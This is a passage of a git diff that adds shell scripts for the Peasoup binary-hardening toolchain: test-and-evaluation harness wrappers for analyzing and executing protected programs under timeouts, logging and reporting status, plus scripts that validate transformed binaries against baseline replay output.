+# This return is the only place where we can have messages to stdout
+if [ "$PS_ANALYZE_STATUS" == "0" ]; then echo "success" ;
+elif [ "$PS_ANALYZE_STATUS" == "142" ]; then echo "timeout" ; 
+else echo "skip" ; fi
+
+
+
+
+
diff --git a/peasoup_examples/tools/ps_tne_scripts/execute b/peasoup_examples/tools/ps_tne_scripts/execute
new file mode 100755
index 0000000000000000000000000000000000000000..74a897e386c64ac35fcb0274434d306e4a884639
--- /dev/null
+++ b/peasoup_examples/tools/ps_tne_scripts/execute
@@ -0,0 +1,114 @@
+#
+# (c) 2011 The MITRE Corporation.  ALL RIGHTS RESERVED.
+#
+
+# ss_execute <test_case> <time_limit> <sw_dir> <cmd_line> <run_directory> -> <status>
+
+# performer would call their execution code here
+#
+# returns status
+#
+# We cannot put any messages to stdout from this script except the return value
+
+# store test case name so called scripts can use it
+export TNE_TEST_CASE="$1"
+
+# For now, put the path to the environment file needed by ps_analyze and ps_run
+# in an environment variable of its own. This is to try and make it obvious
+# what this path is for and the fact that it is local layout dependant
+export PEASOUP_ENV_PATH='/ps0/testbot/uva-svn/strata_env'
+
+# Set the environment for Peasoup
+eval 'source $PEASOUP_ENV_PATH'
+
+LOG_COMMAND="$GRACE_HOME/concolic/src/util/linux/ps_log_tne.py"
+GEN_MESSAGE_COMMAND="$GRACE_HOME/concolic/src/util/linux/general_message.py"
+
+l_message_1_1="execute script called for test case: $1"
+l_message_1_2="time limit: $2"
+l_message_1_3="sw dir: $3"
+l_message_1_4="command line: $4"
+l_message_1_5="run dir: $5"
+l_message_1_6="initial dir: $PWD"
+
+message_1="$l_message_1_1
+$l_message_1_2
+$l_message_1_3
+$l_message_1_4
+$l_message_1_5
+$l_message_1_6"
+
+# prevent unbounded subject execution
+# usage: set_timer <seconds>
+set_timer()
+{
+	# wait
+	sleep $1& wait
+
+	# FIXME: crazy hack
+	# kill the subject
+	pkill a.stratafied
+}
+
+# set timer for 1 hour
+set_timer 3600 2> /dev/null & TIMER_PID=$!
+
+# Log the call and its contents
+python $LOG_COMMAND -n $1 -t "Execute parameters" -m "$message_1"
+
+# Send a general message that execute was called
+python $GEN_MESSAGE_COMMAND -n $1 -t "Execute called" -m "execute script called for test case i/o pair"
+
+# cd to sw_dir
+cd $3
+python $LOG_COMMAND -n $1 -t "Execute script" -m "sw dir: $PWD"
+
+
+# cd to run_directory
+cd $5
+python $LOG_COMMAND -n $1 -t "Execute script" -m "run dir: $PWD"
+
+
+# Split the provided command line into an array at white spaces
+cmdline=($4)
+# The first item in the array is <path>/<name of exe>
+execpath=${cmdline[0]}
+python $LOG_COMMAND -n $1 -t "Execute script" -m "derived execution path: $execpath"
+
+# Check to make sure the executable exists
+# TODO: When we start saving the analyzed executable outside the VM
+# for resets, this will change to retrieve the protected executable if it
+# isn't there. Right now, just fail.
+if [ -e "${execpath}.peasoup" ]; then
+	python $LOG_COMMAND -n $1 -t "Execute script" -m "Peasoup executable found"
+else
+	echo "failure"
+	python $LOG_COMMAND -n $1 -t "Execute script" -m "Peasoup executable not found. Exiting execution attempt"
+	exit
+fi
+
+# log and execute cmd_line
+# Use the name <name>.peasoup to find the run script, then
+# insert the rest of the provided arguments
+python $LOG_COMMAND -n $1 -t "Execute script" -m "command executed: $execpath.peasoup ${cmdline[@]:1}"
+eval $execpath.peasoup ${cmdline[@]:1}
+PS_RUN_STATUS="$?"
+python $LOG_COMMAND -n $1 -t "Execute script" -m "execution complete with status: $PS_RUN_STATUS"
+
+# Send a general message that execution has finished
+python $GEN_MESSAGE_COMMAND -n $1 -t "Execution complete" -m "execution done for test case i/o pair"
+
+# we're done; cancel timer
+if [ ! -z $TIMER_PID ]; then
+	# if the timer process is still running, kill it;
+	# if it's gone, report a timeout
+	kill -0 $TIMER_PID &> /dev/null
+	if [ "$?" == "0" ]; then
+		kill -9 $TIMER_PID
+	else
+		echo "timeout"
+		exit
+	fi
+fi
+
+echo "success"
diff --git a/peasoup_examples/tools/ps_tne_scripts/new b/peasoup_examples/tools/ps_tne_scripts/new
new file mode 100755
index 0000000000000000000000000000000000000000..c03b66426b1b4f1b23e3529c1e02952ce4e02a9e
--- /dev/null
+++ b/peasoup_examples/tools/ps_tne_scripts/new
@@ -0,0 +1,41 @@
+#
+# (c) 2011 The MITRE Corporation.  ALL RIGHTS RESERVED.
+#
+# new <test_case> <sw_dir> -> <status>
+
+# do nothing, claim success
+#
+# returns status
+
+# store test case name so called scripts can use it
+export TNE_TEST_CASE="$1"
+
+#bash general_message "$1 Starting new test case"
+
+# For now, put the path to the environment file needed by ps_analyze and ps_run
+# in an environment variable of its own. This is to try and make it obvious
+# what this path is for and the fact that it is local layout dependant
+export PEASOUP_ENV_PATH='/ps0/testbot/uva-svn/strata_env'
+
+# Set the environment for Peasoup
+eval 'source $PEASOUP_ENV_PATH'
+
+LOG_COMMAND="$GRACE_HOME/concolic/src/util/linux/ps_log_tne.py"
+GEN_MESSAGE_COMMAND="$GRACE_HOME/concolic/src/util/linux/general_message.py"
+
+# Log that we are starting a new test case
+l_message_1="Starting new subject: $1"
+l_message_2="Initial dir: $PWD"
+l_message_3="sw dir: $2"
+
+message="$l_message_1
+$l_message_2
+$l_message_3"
+
+python $LOG_COMMAND -n $1 -t "New test subject" -m "$message"
+
+# Send a message that we are starting a new test case
+python $GEN_MESSAGE_COMMAND -n $1 -t "New test subject" -m "$message"
+
+echo "success"
+
diff --git a/peasoup_examples/tools/ps_tne_scripts_p2/analyze b/peasoup_examples/tools/ps_tne_scripts_p2/analyze
new file mode 100755
index 0000000000000000000000000000000000000000..7cbe2a52d6f9f5741bca452ef32db59c5472530e
--- /dev/null
+++ b/peasoup_examples/tools/ps_tne_scripts_p2/analyze
@@ -0,0 +1,181 @@
+#------------------------------Copyright-------------------------------------------------
+# NOTICE
+# 
+# This software (or technical data) was produced for the U. S.
+# Government under contract 2009-0917826-016 and is subject to the Rights in Data-General Clause 52.227-14 (DEC 2007).
+# 
+# The following copyright notice may be affixed after receipt of written approval from the Contracting Officer.  Please contact the Contracts Office for assistance with obtaining approval or identifying the correct clause. If the contract has Clause 52.227-14, Alt. IV, written approval is not required and the below copyright notice may be affixed.
+# 
+# Copyright (c) 2012 The MITRE Corporation. All Rights Reserved.
+#------------------------------Copyright-------------------------------------------------
+#
+# bash analyze <test_case> <run_command> <run_directory> <build_command> <build_directory> <ref_id> <msg_port> -> <void>
+
+# compile the source if it is available
+
+echo "test_case = $1"
+echo "run_command = $2"
+echo "run_directory = $3"
+echo "build_command = $4"
+echo "build_directory = $5"
+echo "ref_id = $6"
+echo "msg_port = $7"
+
+env > analysis_before.env
+
+previous_dir=`pwd`
+
+#DAH
+cd /home/tm/peasoup
+source ./set_env_vars
+export PATH=/usr/bin:/bin:$PATH
+cd $previous_dir
+
+env > analysis_after.env
+
+# cd to the build directory
+# cd $5
+# NO BUILD FOR PEASOUP!!
+
+export TNE_TEST_CASE="$1"
+
+# SKIP ARCHIVING FOR NOW - DH
+#-----------------------------------------------------------
+#archive the tc test case zip file
+# pushd $PEASOUP/TestHarness/$2/.. >/dev/null
+# zip everything.zip *
+# $PEASOUP/scripts/archive.sh 2 $1 `readlink -f everything.zip`
+# popd > /dev/null
+#-----------------------------------------------------------
+
+
+# For now, put the path to the environment file needed by ps_analyze and ps_run
+# in an environment variable of its own. This is to try and make it obvious
+# what this path is for and the fact that it is local layout dependant
+# export PEASOUP_ENV_PATH='/ps0/testbot/uva-svn/strata_env'
+# Set the environment for Peasoup, then run it
+
+LOG_COMMAND="$GRACE_HOME/concolic/src/util/linux/ps_log_tne.py"
+GEN_MESSAGE_COMMAND="$GRACE_HOME/concolic/src/util/linux/general_message.py"
+
+# Log the call and its contents
+# Build log message
+l_message_1_1="analyze script called for test case $1 with arguments"
+l_message_1_2="run command: $2"
+l_message_1_3="run dir: $3"
+l_message_1_4="build command: $4"
+l_message_1_5="build dir: $5"
+l_message_1_6="ref_id: $6"
+l_message_1_7="msg_port: $7"
+l_message_1_8="analyze called from dir: $PWD"
+
+message_1="${l_message_1_1}
+${l_message_1_2}
+${l_message_1_3}
+${l_message_1_4}
+${l_message_1_5}
+${l_message_1_6}
+${l_message_1_7}
+${l_message_1_8}"
+
+python $LOG_COMMAND -n $1 -t "Analyze parameters" -m "$message_1"
+# Send a general message that analyze was called
+python $GEN_MESSAGE_COMMAND -n $1 -t "Analyze called" -m "analyze script called for test case"
+
+# Process the run command to get the <path>/<name of exe>
+# cmdline=($2)
+# execpath=${cmdline[0]}
+
+# All script debugging stuff
+echo "arg2 = $2"
+execcmd=$2
+echo "execcmd = $execcmd"
+# SS_TC_ROOT=built
+echo "SS_TC_ROOT = $SS_TC_ROOT"
+# SS_TC_INSTALL=
+echo "SS_TC_INSTALL = $SS_TC_INSTALL"
+eval execcmd=$execcmd
+echo "execcmd = $execcmd"
+echo "-----------"
+ls -l $SS_TC_ROOT/$SS_TC_INSTALL
+echo "-----------"
+ls -l $execcmd
+echo "-----------"
+ldd $execcmd
+echo "-----------"
+file $execcmd
+echo "-----------"
+
+## TODO: Enhance Grace to be able to use the 'ignored arguments' since 
+## T&E will always call the executable with them
+
+l_message_2_1="In run dir: $PWD"
+l_message_2_2="Constructed command: $execpath"
+l_message_2_3="Constructed basename: $execcmd"
+
+message_2="$l_message_2_1
+$l_message_2_2
+$l_message_2_3"
+
+python $LOG_COMMAND -n $1 -t "Analyze script" -m "$message_2"
+
+python $LOG_COMMAND -n $1 -t "Analyze script" -m "Analysis phase beginning"
+
+# Get a list of pathnames of everything $execcmd execs during initialization
+EXEC_FILES=( $( $GRACE_HOME/concolic/bin/pgrp-timeout 10 strace -s10240 -f -e trace=execve $execcmd 2>&1 >/dev/null | /bin/grep " = 0$" | /bin/grep -Po '(?<=execve\(")([^"]+(?="))' | sort | uniq ) )
+TO_ANALYZE=()
+
+# filter out anything that matches execcmd, 
+execcmd_base=`basename $execcmd`
+for f in "${EXEC_FILES[@]}"
+do
+    if [[ -x $f ]] && [[ `basename $f` != $execcmd_base ]] && [[ $f != /bin/* ]] && [[ $f != /usr/bin/* ]] && [[ $f != /sbin/* ]] && [[ $f != /usr/sbin/* ]]; then
+        file $f | /bin/grep "ELF 32"
+        if [[ $? = 0 ]]; then
+            python $LOG_COMMAND -n $1 -t "Analyze script" -m "Queueing subprogram for analysis: $f"
+            TO_ANALYZE+=("$f")
+        fi
+    else
+        python $LOG_COMMAND -n $1 -t "Analyze script" -m "Skipping subprogram: $f"
+    fi
+done
+TO_ANALYZE+=("$execcmd")
+
+
+for f in "${TO_ANALYZE[@]}"
+do
+    echo "Analyzing $f..." >> ps_analyze_log.txt
+    $PEASOUP_HOME/tools/ps_analyze.sh $f $f.peasoup --step manual_test=off --step determine_program=off --timeout 7200 >> ps_analyze_log.txt 2>&1
+    PS_ANALYZE_STATUS="$?"
+    python $LOG_COMMAND -n $1 -t "Analyze script" -m "Analysis phase done with exit status: $PS_ANALYZE_STATUS"
+    if [ "$PS_ANALYZE_STATUS" != "0" ]
+    then
+        break
+    fi
+    mv $f $f.orig
+    mv $f.peasoup $f
+done
+
+# Send a general message that analyze is done
+python $GEN_MESSAGE_COMMAND -n $1 -t "Analyze complete" -m "analyze script finished"
+
+if [ "$PS_ANALYZE_STATUS" == "0" ]; then
+    ss_report_status $7 "<?xml version=1.0 encoding=UTF-8 ?><return_status_message><message_type>analyze_status</message_type><test_case>$1</test_case><ref_id>$7</ref_id><status>success</status></return_status_message>"
+elif [ "$PS_ANALYZE_STATUS" == "142" ]; then
+    ss_report_status $7 "<?xml version=1.0 encoding=UTF-8 ?><return_status_message><message_type>analyze_status</message_type><test_case>$1</test_case><ref_id>$7</ref_id><status>timeout</status></return_status_message>"
+else
+    ss_report_status $7 "<?xml version=1.0 encoding=UTF-8 ?><return_status_message><message_type>analyze_status</message_type><test_case>$1</test_case><ref_id>$7</ref_id><status>skip</status></return_status_message>"
+fi
+
+# CLEANUP
+# It should delete temporary files only
+# Any file deleted will not be archived or available for execute
+
+# Clean the database
+${PEASOUP_HOME}/tools/db/drop_my_tables.sh
+${PEASOUP_HOME}/tools/db/pdb_setup.sh
+
+# Remove any temporary files here
+
+# Remove any left over processes
+pkill sleep
diff --git a/peasoup_examples/tools/ps_tne_scripts_p2/execute b/peasoup_examples/tools/ps_tne_scripts_p2/execute
new file mode 100755
index 0000000000000000000000000000000000000000..74c050735e4bd09a7f44956d3f4a1d91e611bf93
--- /dev/null
+++ b/peasoup_examples/tools/ps_tne_scripts_p2/execute
@@ -0,0 +1,268 @@
+#------------------------------Copyright-------------------------------------------------
+# NOTICE
+# 
+# This software (or technical data) was produced for the U. S.
+# Government under contract 2009-0917826-016 and is subject to the Rights in Data-General Clause 52.227-14 (DEC 2007).
+# 
+# The following copyright notice may be affixed after receipt of written approval from the Contracting Officer.  Please contact the Contracts Office for assistance with obtaining approval or identifying the correct clause. If the contract has Clause 52.227-14, Alt. IV, written approval is not required and the below copyright notice may be affixed.
+# 
+# Copyright (c) 2012 The MITRE Corporation. All Rights Reserved.
+#------------------------------Copyright-------------------------------------------------
+#
+
+# execute <test_case> <time_limit> <cmd_line> <run_directory> <ref_id> <port> -> <void>
+
+previous_dir=`pwd`
+cd /home/tm/peasoup
+source set_env_vars
+cd $previous_dir
+
+echo "1" 1>&2
+
+# store test case name so called scripts can use it
+export TNE_TEST_CASE="$1"
+unset VERBOSE
+
+echo "test_case = $1"
+echo "time_limit = $2"
+echo "cmd_line = $3"
+echo "run_directory = $4"
+echo "ref_id = $5"
+echo "port = $6"
+
+echo "2" 1>&2
+#archive the arguments sent to execute run
+#-----------------------------------------------------
+# /home/ps1/peasoup/scripts/archive.sh 4 $1 "$4" $6
+#-----------------------------------------------------
+
+# For now, put the path to the environment file needed by ps_analyze and ps_run
+# in an environment variable of its own. This is to try and make it obvious
+# what this path is for and the fact that it is local layout dependant
+# export PEASOUP_ENV_PATH='/ps0/testbot/uva-svn/strata_env'
+
+LOG_COMMAND="$GRACE_HOME/concolic/src/util/linux/ps_log_tne.py"
+GEN_MESSAGE_COMMAND="$GRACE_HOME/concolic/src/util/linux/general_message.py"
+
+# prevent unbounded subject execution
+# usage: set_timer <seconds>
+set_timer()
+{
+	# wait
+	sleep $1& wait
+
+	# FIXME: crazy hack
+	# kill the subject
+	pkill a.stratafied
+}
+
+# set timer for 10 minutes
+set_timer $2 2> /dev/null & TIMER_PID=$!
+
+echo "3" 1>&2
+# Log the call and its contents
+python $LOG_COMMAND -n $1 -t "Execute parameters" -m "$message_1"
+
+# Send a general message that execute was called
+python $GEN_MESSAGE_COMMAND -n $1 -t "Execute called" -m "execute script called for test case i/o pair"
+
+echo "3.1" 1>&2
+# Clean up any stray SYSV semaphores
+IPCS_S=$(ipcs -s | /bin/egrep "0x[0-9a-f]+ [0-9]+" | /bin/grep $(whoami) | cut -f2 -d" ")
+for id in $IPCS_S; do
+	ipcrm -s $id;
+done
+
+# cd to run_directory
+cd $4
+python $LOG_COMMAND -n $1 -t "Execute script" -m "run dir: $PWD"
+
+# check if the cmd_line ($3) ends with &, if so, need to wait for the batch 
+# process to be complete and capture the actual return code
+# options of grep that used -E, --extended-regexp and -q, --quiet, --silent
+echo $3 | /bin/grep -qE "&$"
+ck_code=$?
+
+echo "4" 1>&2
+
+# Split the provided command line into an array at white spaces
+cmdline=($3)
+# The first item in the array is <path>/<name of exe>
+execpath=${cmdline[0]}
+python $LOG_COMMAND -n $1 -t "Execute script" -m "derived execution path: $execpath"
+
+echo "5" 1>&2
+
+echo "$execpath"
+echo "5.1" 1>&2
+eval echo "$execpath"
+echo "5.2" 1>&2
+
+eval execpath=$execpath
+
+# Check to make sure the executable exists
+# TODO: When we start saving the analyzed executable outside the VM
+# for resets, this will change to retrieve the protected executable if it
+# isn't there. Right now, just fail.
+echo "5.3" 1>&2
+if [ -e "${execpath}" ]; then
+echo "5.4" 1>&2
+	echo "Found Executable"
+	python $LOG_COMMAND -n $1 -t "Execute script" -m "Peasoup executable found"
+echo "5.5" 1>&2
+else
+echo "5.6" 1>&2
+	# echo "failure"
+	echo "ERROR - Did not find Executable"
+echo "5.7" 1>&2
+	python $LOG_COMMAND -n $1 -t "Execute script" -m "Peasoup executable not found. Exiting execution attempt"
+echo "5.8" 1>&2
+        ss_report_status $6 "<?xml version=1.0 encoding=UTF-8 ?><return_status_message><message_type>execute_status</message_type><test_case>$1</test_case><ref_id>$6</ref_id><status>skip</status><status_code></status_code></return_status_message>"
+echo "5.9" 1>&2
+	exit
+fi
+
+echo "6" 1>&2
+# log and execute cmd_line
+echo "${cmdline[@]:0}"
+eval echo "${cmdline[@]:0}"
+eval ls -l $execpath
+echo "7" 1>&2
+
+eval cmd="command executed: ${cmdline[@]:0}"
+python $LOG_COMMAND -n $1 -t "Execute script" -m "$cmd"
+
+# Block of code from MITRE to handle return code of background command
+if [ $ck_code -ne 0 ]; then
+        eval ${cmdline[@]:0}
+	# capture the return code
+    rtn_code=$?
+    echo "if: ck_code <> 0; rtn_code = $rtn_code"
+else
+        eval ${cmdline[@]:0}
+	tc_pid=$!
+	wait $tc_pid
+	rtn_code=$?
+    echo "else: ck_code = 0; tc_pid = $tc_pid; rtn_code=$rtn_code"
+fi
+PS_RUN_STATUS="$rtn_code"
+
+# report status with the actual rtn_code
+ss_report_status $6 "<?xml version=3D1.0 encoding=3DUTF-8 ?><return_status_message><message_type>execute_status</message_type><test_case>$1</test_case><ref_id>$5</ref_id><status>success</status><status_code>$rtn_code</status_code></return_status_message>"
+
+
+python $LOG_COMMAND -n $1 -t "Execute script" -m "execution complete with status: $PS_RUN_STATUS"
+echo "Execute Complete with status $PS_RUN_STATUS"
+
+#--- this block commented out - moved to individual peasoup scripts
+# datapath=dirname `tail -n 1 $execpath|gawk '{print $2}'`
+
+#if [ -f $datapath/diagnostics.out ]; then
+	#len=`cat $datapath/diagnostics.out | wc -l` 
+	#if [ $len -gt 0 ]; then 
+
+        # make output more concise
+#		wc -l $4/diagnostics.out
+#	    sort $4/diagnostics.out | uniq > tmp.$$
+	    #cat $datapath/diagnostics.out | uniq > tmp.$$
+		#mv tmp.$$ $datapath/diagnostics.out
+#
+		#echo "--------------------------------------------------------"
+		#echo "-        PEASOUP DETECTED AND CONFINED ERRORS          -"
+		#echo "- (and possibly detected that some errors were benign) -"
+		#echo "-               (Summarized below)                     -"
+		#echo "--------------------------------------------------------"
+		#cat $4/diagnostics.out
+
+		# report detector warnings to test manager
+		#while read line
+		#do
+			#case $line in
+			#POLICY:\ controlled\ exit*)
+				#$GRACE_HOME/concolic/src/util/linux/controlled_exit.py -m "$line"
+				#;;
+			#POLICY:\ continue\ execution*)
+				#$GRACE_HOME/concolic/src/util/linux/continue_execution.py -m "$line"
+				#;;
+			#*)
+				#$GRACE_HOME/concolic/src/util/linux/general_message.py -m "$line"
+				#;;
+			#esac
+		#done < $datapath/diagnostics.out
+	#fi
+#fi
+#----------------------
+
+echo "8" 1>&2
+# Send a general message that execution has finished
+python $GEN_MESSAGE_COMMAND -n $1 -t "Execution complete" -m "execution done for test case i/o pair"
+
+# we're done; cancel timer
+if [ ! -z $TIMER_PID ]; then
+	# if the timer process is still running, kill it;
+	# if it's gone, report a timeout
+	kill -0 $TIMER_PID &> /dev/null
+	if [ "$?" == "0" ]; then
+		kill -9 $TIMER_PID &> /dev/null
+	else
+            ss_report_status $6 "<?xml version=1.0 encoding=UTF-8 ?><return_status_message><message_type>execute_status</message_type><test_case>$1</test_case><ref_id>$6</ref_id><status>controlled exit</status><status_code>$PS_RUN_STATUS</status_code></return_status_message>"
+
+	    exit
+	fi
+fi
+
+echo "9" 1>&2
+# echo "success"
+# check for controlled exit
+# pwd
+
+# diag_file="Release/`ls -tr Release|grep peasoup_executable_dir|tail -1`/diagnostics.out"
+# if [ -f $diag_file ]; then
+        # len=`cat $diag_file | wc -l`
+        # if [ $len -gt 0 ]; then
+               # grep -q "controlled exit" $diag_file
+               # if [ "$?" == "0" ]; then
+                       # ss_report_status $6 "<?xml version=1.0 encoding=UTF-8 ?><return_status_message><message_type>execute_status</message_type><test_case>$1</test_case><ref_id>$6</ref_id><status>controlled_exit</status><status_code>$?</status_code></return_status_message>"
+                       # exit
+               # fi
+       # fi
+# fi
+
+echo "10" 1>&2
+# if nothing else happened, consider it a success
+ss_report_status $6 "<?xml version=1.0 encoding=UTF-8 ?><return_status_message><message_type>execute_status</message_type><test_case>$1</test_case><ref_id>$6</ref_id><status>success</status><status_code>$PS_RUN_STATUS</status_code></return_status_message>"
+
+echo "11" 1>&2
+#archive observables
+#-----------------------------------------------------
+# cd $3/..
+# tar cfz /home/ps1/$1_observables.tar observables
+# /home/ps1/peasoup/scripts/archive.sh 5 $1 /home/ps1/$1_observables.tar $6
+# rm /home/ps1/$1_observables.tar 
+#-----------------------------------------------------
+
+#CLEANUP
+# It should delete all files created by the analysis step
+# since they are already archived by that step.  This
+# prevents files from being archived twice
+
+echo "Cleaning..."
+pwd
+ls -l
+
+# Save any changed files from peasoup executable folder
+# Save off the diagnostics.out and a.ncexe.sigs files
+# There might be more than one peasoup_executables folder
+# so append the diagnostics.out files together since they
+# have the same name
+cd /opt/stonesoup/TH-workspace
+mv peasoup_executable*/diagnostics.out* .
+more peasoup_executable*/a.ncexe.sigs.orig >> a.ncexe.sigs.orig
+mv peasoup_executable*/a.ncexe.sigs.* .
+rm -rf peasoup_executable*
+
+# Remove the programs - they are archived in analyze
+rm -rf built install
+
+# Kill any left over processes
+pkill sleep
diff --git a/peasoup_examples/tools/ps_validate.sh b/peasoup_examples/tools/ps_validate.sh
new file mode 100755
index 0000000000000000000000000000000000000000..c774d9493df65f4bac231ae71828cd7b5d7d12a2
--- /dev/null
+++ b/peasoup_examples/tools/ps_validate.sh
@@ -0,0 +1,129 @@
+#!/bin/sh
+
+#
+# Assumption: we're in the top level directory created by the peasoup toolchain
+#
+# Validate SPRI transform against a suite of input/output pairs
+#
+# TODO: I assume that pwd is the peasoup directory containing the stratafied
+# and original. Perhaps this should be passed in in the future. Also
+# this script will exit in some cases without cd'ing back to the original
+# directory it started in.
+#
+
+# Inputs
+STRATAFIED_BINARY=$1        # stratafied subject program (a.stratafied)
+BSPRI=$2                    # transformation specification SPRI file (some bspri file)
+INPUT_DIR=$3                # directory containing inputs (.../concolic.files_a.stratafied_0001)
+
+ # timeout value for when replaying input -- for now 120 seconds per input,
+# make sure identical with baseline replayer value (see do_p1transform.sh)
+REPLAYER_TIMEOUT=120       
+
+ORIG_PROG=a.ncexe
+baseline_cnt=0
+TOP_LEVEL=`pwd`
+BASELINE_DIR=$TOP_LEVEL/replayer_baseline
+
+
+EMPTY_JSON=$PEASOUP_HOME/tools/empty.json
+
+rm -fr replay 2>/dev/null
+mkdir replay 2>/dev/null
+
+echo "=========================================="
+echo "Running ps_validate.sh"
+echo "                STRATAFIED_BINARY: $STRATAFIED_BINARY"
+echo "                 BSPRI: $BSPRI"
+echo "             INPUT_DIR: $INPUT_DIR"
+echo "   BASELINE_OUTPUT_DIR: $BASELINE_OUTPUT_DIR"
+echo "=========================================="
+echo ""
+
+#
+# name of files describing inputs is of the form: input_0001.json, input_0002.json, ...
+#
+
+echo "ps_validate.sh: BED: warning: @todo: need to handle files other than stdout, stderr"
+input_cnt=0
+for i in `ls $BASELINE_DIR/`
+do
+    input_file=$INPUT_DIR/$i.json
+    rm -fr stdout.$i stderr.$i exit_status grace_replay/
+    echo "STRATA_SPRI_FILE="$BSPRI" timeout $REPLAYER_TIMEOUT "$GRACE_HOME/concolic/bin/replayer" --timeout=$REPLAYER_TIMEOUT --symbols=$TOP_LEVEL/a.sym --stdout=stdout.$i --stderr=stderr.$i --logfile=exit_status --engine=sdt $STRATAFIED_BINARY $input_file || exit 2"
+    echo ""
+    STRATA_SPRI_FILE="$BSPRI" timeout $REPLAYER_TIMEOUT "$GRACE_HOME/concolic/bin/replayer" --timeout=$REPLAYER_TIMEOUT --symbols=$TOP_LEVEL/a.sym --stdout=stdout.$i --stderr=stderr.$i --logfile=exit_status --engine=sdt $STRATAFIED_BINARY $input_file || exit 2
+
+    rm -rf input_test
+    mkdir input_test
+
+    mv stdout.$i input_test/.
+    mv stderr.$i input_test/.
+    cat exit_status | grep "Subject exited with status" >tmp
+    mv tmp input_test/exit_status
+    mv grace_replay/ input_test/.
+
+    echo "diff -r input_test/ $BASELINE_DIR/$i "
+    diff -r input_test/ $BASELINE_DIR/$i
+    if [ ! $? -eq 0 ]; then
+	echo "ps_validate.sh: divergence detected for input: $i"
+	exit 1
+    fi
+    
+    input_cnt=`expr $input_cnt + 1`
+done
+
+rm -fr stdout.$i stderr.$i exit_status grace_replay/ input_test/
+
+#Note: had to comment the empty jasn tests because for cherokee
+#this test failed. Assuming the empty jasn will work broke all
+#validation attempts. 
+
+# #if no baseline run was found, run the original program with no input
+# #Under the new PN configuration, this should never be called, but is here
+# #as a backup
+# if [ $input_cnt -eq 0 ];then
+
+#     echo "ps_validate.sh: No valid baseline to compare against, performing simple no args sanity check instead"
+
+# #check to see if the sym file exists, if not create it.
+#     if [ ! -e $TOP_LEVEL/a.sym ]; then
+# 	$GRACE_HOME/concolic/src/util/linux/objdump_to_grace $STRATAFIED_BINARY
+#     fi
+
+# #only generate the original program exit status for no input if it doesn't
+# #already exist
+#     if [ ! -e $TOP_LEVEL/orig_status ]; then
+# 	timeout $REPLAYER_TIMEOUT ./$ORIG_PROG &>/dev/null
+# 	orig_status=$?
+# 	echo "$orig_status" >$TOP_LEVEL/orig_status
+#     else
+# 	orig_status=`cat $TOP_LEVEL/orig_status`
+#     fi
+
+#     if [ $orig_status -ne 139 ];then
+# 	echo "STRATA_SPRI_FILE="$BSPRI" timeout $REPLAYER_TIMEOUT "$GRACE_HOME/concolic/bin/replayer" --timeout=$REPLAYER_TIMEOUT --symbols=$TOP_LEVEL/a.sym --stdout=stdout.$input --stderr=stderr.$input --logfile=exit_status --engine=sdt $STRATAFIED_BINARY $EMPTY_JSON || exit 2"
+# 	STRATA_SPRI_FILE="$BSPRI" timeout $REPLAYER_TIMEOUT "$GRACE_HOME/concolic/bin/replayer" --timeout=$REPLAYER_TIMEOUT --symbols=$TOP_LEVEL/a.sym --stdout=stdout.$input --stderr=stderr.$input --logfile=exit_status --engine=sdt $STRATAFIED_BINARY $EMPTY_JSON || exit 2
+
+# 	#just in case there is a replayer failure, create an exit status file
+# 	touch exit_status
+# 	echo "Subject exited with status $orig_status" >tmp
+# 	cat exit_status | grep "Subject exited with status" >tmp2
+# 	diff tmp tmp2
+# 	diff_status=$?
+# 	rm -f tmp tmp2
+# 	if [ $diff_status -ne 0 ]; then
+# 	    echo "ps_validate.sh: Status values do not equal"
+# 	    exit 1
+# 	fi
+# 	#else fall through, exit 0
+
+#     #if the status was 139, print a message
+#     else
+# 	echo "ps_validate.sh: original program exits with 139 status with no input."
+# 	#fall through for now, exit 0
+#     fi
+# fi
+
+echo "ps_validate.sh: All inputs validated"
+exit 0
diff --git a/peasoup_examples/tools/ps_validate_ss.deprecated.sh b/peasoup_examples/tools/ps_validate_ss.deprecated.sh
new file mode 100755
index 0000000000000000000000000000000000000000..26bec18025cef1d57eb93f574fe8f574409d87c5
--- /dev/null
+++ b/peasoup_examples/tools/ps_validate_ss.deprecated.sh
@@ -0,0 +1,30 @@
+#!/bin/sh
+
+#
+# Validate startup/shutdown sequence by comparing 2 programs
+# and feeding them no inputs
+#
+
+ORIG_BINARY=$1           # original binary
+STRATAFIED_BINARY=$2     # stratafied binary
+BSPRI=$3                 # transformation specificiation SPRI file
+
+echo "=========================================="
+echo "Running ps_validate_ss.sh"
+echo "           ORIG_BINARY: $ORIG_BINARY"
+echo "     STRATAFIED_BINARY: $STRATAFIED_BINARY"
+echo "                 BSPRI: $BSPRI"
+echo "=========================================="
+
+$ORIG_BINARY > a0.orig.out 2> a0.orig.err
+ORIG_VAL=$?
+
+STRATA_SPRI_FILE="$BSPRI" $STRATAFIED_BINARY > a0.strata.out 2> a0.strata.err
+STRATA_VAL=$?
+
+if [ "$ORIG_VAL" = "$STRATA_VAL" ]; then
+  exit 0
+else
+  echo "ps_validate_ss.sh: BSPRI=$BSPRI: does not validate: exit codes: ($ORIG_VAL/$STRATA_VAL)" 
+  exit 1
+fi
diff --git a/peasoup_examples/tools/ps_wrapper.source b/peasoup_examples/tools/ps_wrapper.source
new file mode 100644
index 0000000000000000000000000000000000000000..f0775d3666aba51c165bec813347bd0850329db1
--- /dev/null
+++ b/peasoup_examples/tools/ps_wrapper.source
@@ -0,0 +1,26 @@
+
+
+set_env()
+{
+	exepath=$(dirname $1)
+	pushd . > /dev/null 2>&1 
+	cd $exepath > /dev/null 2>&1 
+
+	#echo in $(pwd)
+	while [ ! -f .pedi_root -a $(pwd) != "/" ] ; do
+		cd ..	
+		#echo in $(pwd)
+	done
+
+	if [[ -f .pedi_root ]] ; then
+		#echo pwd is $(pwd)
+		source ./set_env_vars
+	else
+		echo "Cannot find environment."
+		exit 1
+	fi
+
+	popd > /dev/null 2>&1
+}
+
+set_env $*
diff --git a/peasoup_examples/tools/ps_zipr.sh b/peasoup_examples/tools/ps_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..d098de6617b149cfc8669b9d1be1f1fbaf4a8677
--- /dev/null
+++ b/peasoup_examples/tools/ps_zipr.sh
@@ -0,0 +1,4 @@
+#!/bin/bash 
+
+source $(dirname $0)/ps_wrapper.source $0
+$PEASOUP_HOME/tools/ps_analyze.sh "$@" --backend zipr
diff --git a/peasoup_examples/tools/ps_zipr_rida.sh b/peasoup_examples/tools/ps_zipr_rida.sh
new file mode 100755
index 0000000000000000000000000000000000000000..c9b542492fe3bdfe17c161d4b47225af0688c894
--- /dev/null
